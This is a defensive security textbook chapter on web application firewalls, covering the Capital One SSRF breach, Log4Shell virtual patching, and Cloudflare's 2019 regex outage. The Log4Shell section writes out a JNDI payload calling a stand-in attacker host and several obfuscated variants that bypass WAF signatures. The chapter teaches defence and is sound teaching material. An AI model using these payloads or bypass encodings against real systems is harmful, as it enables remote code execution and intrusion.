Chapter 40C — WAF: architecture, rules, and bypasses

Worked example

The WAF that became the breach: Capital One, 2019.

   In the 2019 Capital One breach (detailed in the subsequent DOJ
   complaint and Capital One's own public disclosures), the attacker
   exploited a SERVER-SIDE REQUEST FORGERY vulnerability in a
   MISCONFIGURED, self-hosted WAF sitting in front of Capital One's
   cloud-hosted infrastructure. Two failures compounded:

     1. The WAF itself was vulnerable to SSRF (Part 6 Ch 33) -- it could
        be tricked into making an outbound request on the attacker's
        behalf.
     2. The WAF was running with an OVER-PERMISSIONED IAM ROLE that had
        far broader S3 access than a WAF should ever need (a Part 2
        Ch 6 privilege-escalation-adjacent failure: the WAF's own
        identity was the actual blast-radius problem, not just its
        code).

   The attacker used the WAF's own SSRF flaw to make it query the AWS
   INSTANCE METADATA SERVICE (Part 2 Ch 10's exact IMDS chain), retrieved
   the WAF's overly-broad role's temporary credentials, and used THOSE
   credentials directly against S3 to list and exfiltrate data from over
   700 buckets -- roughly 100 million customers' and applicants' records.

   THE LESSON, precisely: a WAF is application code and infrastructure
   like anything else you run. It needs its OWN threat model (Part 1
   Ch 4), its OWN least-privilege identity (Part 2 Ch 6 -- a WAF has NO
   legitimate reason to hold broad S3 read access), IMDSv2 with hop-
   limit-1 like every other workload (Part 2 Ch 10), and patching
   discipline like every other piece of software in the estate (Ch 59).
   "We have a WAF" is not a security control if the WAF ITSELF is the
   least-hardened thing in the architecture -- in this incident, it was
   the single most damaging component precisely because it sat in front
   of everything and could reach broad infrastructure credentials.

Real-world scenario 2: virtual patching and its bypass, in the same week — Log4Shell

   When CVE-2021-44228 ("Log4Shell") became public in December 2021 --
   a trivially exploitable remote-code-execution flaw in the ubiquitous
   Java logging library Log4j, triggered by getting the vulnerable
   library to LOG an attacker-controlled string containing a JNDI
   lookup like `${jndi:ldap://attacker.example/a}` -- it was, for a few
   days, essentially impossible to patch the underlying library
   everywhere it was transitively used (G1 Ch 47's dependency-depth
   problem, at internet scale, under maximum time pressure). WAF vendors
   (Cloudflare, AWS, and others) shipped EMERGENCY MANAGED RULES within
   hours specifically to block the `${jndi:` pattern at the edge --
   Ch 40C's virtual patching, played out in public, in real time, as
   THE primary mitigation available to most organisations in the first
   72 hours.

   AND WITHIN DAYS, security researchers published a stream of
   BYPASSES for those first-generation signature rules, using exactly
   this chapter's encoding-bypass techniques:
     ${jndi:ldap://...}                      <- the original, quickly blocked
     ${${::-j}${::-n}${::-d}${::-i}:ldap://...}   <- nested lookup obfuscation,
                                                     reconstructs "jndi" from
                                                     empty-default substitutions
                                                     a naive string-match rule
                                                     never sees
     ${jndi:${lower:l}${lower:d}ap://...}    <- case-folding lookups reassemble
                                                the scheme itself
     %24%7Bjndi...                           <- URL encoding
   Each bypass forced ANOTHER round of WAF rule updates, in a genuine,
   fast-moving arms race -- while the REAL fix (upgrading Log4j itself,
   or the JVM flag disabling JNDI lookups) rolled out on its own, slower
   timeline.

   THE LESSON THIS SCENARIO ADDS: virtual patching bought real, valuable
   time at a moment when no other mitigation was available fast enough --
   but it was NEVER close to sufficient on its own, exactly because
   Log4j's own EXPRESSION LANGUAGE (the `${...}` lookup syntax) gave
   attackers a huge, combinatorial space of equivalent-but-differently-
   encoded payloads to route around each new signature. This is the
   sharpest real-world illustration available of "a WAF signature blocks
   THIS payload, not THIS VULNERABILITY" -- the actual fix was always the
   library upgrade, tracked and prioritised exactly the way Ch 59 (KEV/
   EPSS-driven, since Log4Shell was in CISA's Known Exploited
   Vulnerabilities catalog within days) describes.

Real-world scenario 3: the WAF as its own availability risk

   In July 2019, Cloudflare's own published post-mortem described a
   global outage lasting roughly 30 minutes, affecting a very large
   share of the internet traffic that flows through their network --
   caused not by an attack, but by Cloudflare's OWN WAF TEAM deploying a
   single new managed rule containing a REGULAR EXPRESSION with
   CATASTROPHIC BACKTRACKING (a ReDoS pattern, G1 Ch 28/this guide Ch 28's
   algorithmic-complexity discussion, but triggered by the WAF's OWN
   rule logic against ordinary traffic rather than by an attacker's
   crafted input). The pathological regex caused CPU usage on their edge
   servers to spike to 100% worldwide, almost simultaneously, because
   the same rule deployed everywhere at once.

   WHY THIS BELONGS IN A WAF CHAPTER SPECIFICALLY: a WAF sits directly
   in the request path of EVERYTHING behind it -- which makes it a
   powerful control (Ch 40C's whole premise) and, in the same breath, a
   SINGLE POINT OF FAILURE for availability if its own rules misbehave.
   The fix pattern Cloudflare adopted afterward -- and the general
   lesson for anyone authoring WAF/CRS rules -- maps directly onto
   controls already taught elsewhere in this guide:
     - STAGED ROLLOUT of new rules (a canary percentage of traffic
       first, not a simultaneous global deployment) -- the SAME
       discipline as Ch 51's detection-rule rollout and Part 4 Ch 18's
       admission-policy audit-before-enforce pattern, applied to WAF
       rule authoring.
     - LINEAR-TIME regex engines (RE2-family) for anything evaluated
       against untrusted or high-volume input, exactly as Ch 28
       recommends for application-layer input handling -- a WAF's own
       rule engine is not exempt from the ReDoS risk it exists to catch
       in OTHERS' code.
     - a KILL SWITCH / fast-rollback path for rule deployments, tested
       and ready before it's needed, not designed under incident
       pressure.